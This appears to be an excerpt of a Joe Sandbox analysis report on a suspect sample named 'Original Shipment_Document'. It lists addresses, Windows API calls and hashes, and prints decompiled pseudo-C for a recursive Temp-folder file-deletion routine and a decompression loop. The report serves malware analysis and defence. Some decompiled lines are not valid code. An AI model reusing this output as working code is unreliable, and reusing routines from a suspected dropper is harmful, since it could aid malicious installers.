0x00000000
0x718d20c8
0x718d20c8
0x718d20cb
0x718d20cd
0x00000000
0x00000000
0x718d20dd
0x718d20dd
0x718d20e6
0x718d20e6
0x718d1fc5
0x718d1fc5
0x718d1fc8
0x718d1fcf
0x718d1fd1
0x718d1fd3
0x718d1fda
0x718d1fdd
0x718d1fe2
0x718d1fe4
0x718d1fe6
0x718d1fea
0x718d1ff0
0x718d1ff6
0x718d1ff6
0x718d1ff8
0x718d1ff8
0x718d1ff9
0x718d1ff9
0x718d1ffd
0x718d2003
0x718d2005
0x718d2009
0x718d200e
0x718d200e
0x718d2010
0x718d2010
0x718d2013
0x718d2016
0x718d201f
0x718d2025
0x718d2028
0x718d2028
0x718d202a
0x718d202d
0x718d2033
0x718d2039
0x718d2039
0x718d203b
0x00000000
0x00000000
0x718d2041
0x718d2041
0x718d2045
0x718d204c
0x718d2070
0x718d2070
0x718d2074
0x718d2076
0x718d2079
0x718d2079
0x718d207c
0x718d207c
0x00000000
0x718d2074
0x718d2051
0x718d2054
0x718d2054
0x718d205b
0x718d205d
0x718d2060
0x718d2067
0x718d2068
0x718d206e
0x718d206e
0x00000000
0x718d206e
0x718d2062
0x718d2065
0x00000000
0x00000000
0x00000000
0x718d2065
0x718d1ff2
0x718d1ff4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x718d1f60
0x718d1e05
0x718d1e05
0x718d1e06
0x718d1f46
0x00000000
0x718d1f46
0x718d1e0c
0x718d1e0d
0x00000000
0x00000000
0x718d1e13
0x718d1e16
0x718d1f0b
0x718d1f0b
0x718d1f0e
0x718d1f23
0x718d1f25
0x718d1f25
0x718d1f26
0x718d1f29
0x718d1f2c
0x718d1f38
0x718d1f38
0x718d1f38
0x718d1f2e
0x718d1f2e
0x718d1f2e
0x718d1f3e
0x00000000
0x718d1f3e
0x718d1f10
0x718d1f10
0x718d1f11
0x718d1f1f
0x00000000
0x718d1f1f
0x718d1f14
0x718d1f15
0x00000000
0x00000000
0x718d1f1b
0x00000000
0x718d1f1b
0x718d1e1c
0x718d1f07
0x00000000
0x718d1f07
0x718d1e22
0x718d1e22
0x718d1e25
0x718d1e4e
0x00000000
0x718d1e4e
0x718d1e27
0x718d1e27
0x718d1e2a
0x718d1e44
0x00000000
0x718d1e44
0x718d1e2c
0x718d1e2c
0x718d1e2f
0x718d1e3e
0x00000000
0x718d1e3e
0x718d1e32
0x718d1e33
0x00000000
0x00000000
0x718d1e35
0x00000000
0x718d1cec
0x718d1cec
0x718d1cef
0x00000000
0x718d1cef
0x718d1ce6
0x718d1cd3
0x718d1cd8
0x00000000
0x00000000
0x718d1cda
0x718d1cdd
0x00000000
0x00000000
0x00000000
0x718d1cdd
0x718d1c6d
0x718d1c70
0x718d1ca6
0x718d1ca9
0x00000000
0x718d1caf
0x718d1cb1
0x718d1cb5
0x718d1cbc
0x718d1cc3
0x718d1cc6
0x718d1cc9
0x00000000
0x718d1cc9
0x718d1ca9
0x718d1c72
0x718d1c73
0x718d1c8e
0x718d1c91
0x00000000
0x718d1c97
0x718d1c97
0x718d1c9e
0x718d1ca1
0x00000000
0x718d1ca1
0x718d1c91
0x718d1c78
0x00000000
0x718d1c7e
0x718d1c7e
0x718d1c85
0x00000000
0x718d1c85
0x718d1c78
0x718d1e74
0x718d1e79
0x718d1e7e
0x718d1e82
0x718d2355
0x718d235b
0x718d1e94
0x718d1e96
0x718d1e97
0x718d227e
0x718d227e
0x718d2281
0x718d2284
0x718d22a1
0x718d22a7
0x718d22a9
0x718d22af
0x718d22c6
0x718d22c6
0x718d22c6
0x718d22d3
0x718d22d9
0x718d22dc
0x718d22e2
0x718d22e4
0x718d22e8
0x718d22ea
0x718d22f1
0x718d22f6
0x718d22f9
0x718d22fb
0x718d2300
0x718d2312
0x718d2312
0x718d2300
0x718d22f9
0x718d22e8
0x718d2318
0x718d231b
0x718d2325
0x718d232d
0x718d233a
0x718d2340
0x718d2343
0x718d2273
0x718d2273
0x00000000
0x718d2273
0x718d2349
0x718d234f
0x718d234f
0x00000000
0x00000000
0x718d2351
0x718d2351
0x718d2351
0x718d2351
0x00000000
0x718d231d
0x718d231d
0x718d2323
0x00000000
0x00000000
0x00000000
0x718d2323
0x718d231b
0x718d22b2
0x718d22b8
0x718d22ba
0x718d22c0
0x00000000
0x00000000
0x00000000
0x718d22c0
0x718d2286
0x718d228d
0x718d2293
0x718d2299
0x00000000
0x718d2299
0x718d1e9d
0x718d1e9e
0x718d225d
0x718d225d
0x718d2263
0x718d2266
0x00000000
0x00000000
0x718d226d
0x718d2272
0x00000000
0x718d2272
0x718d1ea5
0x00000000
0x00000000
0x718d1eab
0x718d1eab
0x718d1eb4
0x718d1eb9
0x718d1ebf
0x00000000
0x00000000
0x718d1ec5
0x718d1ed2
0x718d1ed8
0x718d1ee2
0x718d1ee8
0x718d1ef0
0x718d1f00
0x00000000
0x718d1f00

APIs

Part of subcall function 718D12BB: GlobalAlloc.KERNEL32(00000040,?,718D12DB,?,718D137F,00000019,718D11CA,-000000A0), ref: 718D12C5

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 718D1D2D
lstrcpyW.KERNEL32(00000008,?), ref: 718D1D75
lstrcpyW.KERNEL32(00000808,?), ref: 718D1D7F
GlobalFree.KERNEL32(00000000), ref: 718D1D92
GlobalFree.KERNEL32(?), ref: 718D1E74
GlobalFree.KERNEL32(?), ref: 718D1E79
GlobalFree.KERNEL32(?), ref: 718D1E7E
GlobalFree.KERNEL32(00000000), ref: 718D2068
lstrcpyW.KERNEL32(?,?), ref: 718D2222
GetModuleHandleW.KERNEL32(00000008), ref: 718D22A1
LoadLibraryW.KERNEL32(00000008), ref: 718D22B2
GetProcAddress.KERNEL32(?,?), ref: 718D230C
lstrlenW.KERNEL32(00000808), ref: 718D2326

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 88ab3feef6cf3a87ba3bc8a67511d7592baef540b338049a563161546fec1341
Instruction ID: 4d5d94f3498c19e419452e06f6592f193be570e18e3620b2839c8640073c2a4a
Opcode Fuzzy Hash: 88ab3feef6cf3a87ba3bc8a67511d7592baef540b338049a563161546fec1341
Instruction Fuzzy Hash: F6229C71D0470ADADB12DFB8C5816AEBBB3FF0C315F10856AD2E6E2290D7749A85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00405C13 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405C13(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405EDE(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a2a8 =  *0x42a2a8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406507(0x425710, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405E22(_t68);
					} else {
						lstrcatW(0x425710, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425710,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E00406507(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405BCB(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E00405569(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a2a8 =  *0x42a2a8 + 1;
										} else {
											E00405569(0xfffffff1, _t68);
											E004062C7(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405C13(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x425710 - 0x5c;
					if( *0x425710 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040683D(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405DD6(_t68);
							_t38 = E00405BCB(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E00405569(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E00405569(0xfffffff1, _t68);
							return E004062C7(_t67, _t68, 0);
						}
						L30:
						 *0x42a2a8 =  *0x42a2a8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405c1d
0x00405c22
0x00405c2b
0x00405c2e
0x00405c36
0x00405c39
0x00405c3c
0x00405c44
0x00405c46
0x00405c47
0x00000000
0x00405c47
0x00405c52
0x00405c55
0x00405c55
0x00405c55
0x00405c59
0x00405c6c
0x00405c73
0x00405c78
0x00405c7c
0x00405c8c
0x00405c7e
0x00405c84
0x00405c84
0x00405c91
0x00405c95
0x00405ca1
0x00405ca7
0x00405cac
0x00405cb2
0x00405cbd
0x00405cc3
0x00405cc5
0x00405cc8
0x00405d72
0x00405d72
0x00405d76
0x00405d78
0x00405d78
0x00405d78
0x00405d78
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cce
0x00405cce
0x00405cce
0x00405cd6
0x00405cf6
0x00405cfe
0x00405d03
0x00405d0a
0x00405d25
0x00405d2a
0x00405d2c
0x00405d50
0x00405d2e
0x00405d2e
0x00405d31
0x00405d45
0x00405d33
0x00405d36
0x00405d3e
0x00405d3e
0x00405d31
0x00405d0c
0x00405d12
0x00405d14
0x00405d1a
0x00405d1a
0x00405d14
0x00000000
0x00405d0a
0x00405cd8
0x00405ce0
0x00000000
0x00000000
0x00405ce2
0x00405cea
0x00000000
0x00000000
0x00405cec
0x00405cf4
0x00000000
0x00000000
0x00000000
0x00405d55
0x00405d5d
0x00405d63
0x00405d63
0x00405d6c
0x00000000
0x00405d6c
0x00405c97
0x00405c9f
0x00000000
0x00000000
0x00000000
0x00405c5b
0x00405c5b
0x00405c5d
0x00405d7d
0x00405d7f
0x00405d82
0x00405dd3
0x00405dd3
0x00405dd3
0x00405d84
0x00405d87
0x00405d92
0x00405d97
0x00405d99
0x00000000
0x00000000
0x00405d9c
0x00405da8
0x00405dad
0x00405daf
0x00000000
0x00405dca
0x00405db1
0x00405db4
0x00000000
0x00000000
0x00405db9
0x00000000
0x00405dc0
0x00405d89
0x00405d89
0x00000000
0x00405d89
0x00405c63
0x00405c66
0x00000000
0x00000000
0x00000000
0x00405c66

APIs

DeleteFileW.KERNELBASE(?,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C3C
lstrcatW.KERNEL32(00425710,\*.*), ref: 00405C84
lstrcatW.KERNEL32(?,0040A014), ref: 00405CA7
lstrlenW.KERNEL32(?,?,0040A014,?,00425710,?,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CAD
FindFirstFileW.KERNEL32(00425710,?,?,?,0040A014,?,00425710,?,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CBD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D5D
FindClose.KERNEL32(00000000), ref: 00405D6C

Strings

., xrefs: 00405CE2
., xrefs: 00405CCE
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C20
\*.*, xrefs: 00405C7E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1953461807
Opcode ID: d9acfb67b6692fe63fef00afaeab71217e0c0e788268e2aa2b253bff87fc1474
Instruction ID: 7f21bfa76759dd048c017f5e8d67b30635c21f713a141b53f9c1cb2b61cba077
Opcode Fuzzy Hash: d9acfb67b6692fe63fef00afaeab71217e0c0e788268e2aa2b253bff87fc1474
Instruction Fuzzy Hash: BD419F30400A15BADB21AB619C8DAAF7B78EF41718F14817BF801721D1D77C4A82DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406BFE Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406BFE() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M004074A1))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
